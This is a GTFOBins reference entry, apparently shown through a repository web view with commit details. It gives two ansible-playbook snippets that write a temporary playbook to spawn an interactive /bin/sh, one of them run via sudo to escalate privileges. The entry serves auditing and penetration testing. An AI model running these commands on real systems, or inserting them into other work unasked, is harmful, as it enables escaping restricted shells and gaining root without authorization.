GTFOBins.github.io/_gtfobins/ansible-playbook.md
Nasef ee3eb38ee4
Add knife and ansible-playbook
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2021-07-13 18:38:09 +02:00

14 lines
363 B
Markdown

---
functions:
shell:
- code: |
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
ansible-playbook $TF
sudo:
- code: |
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF
---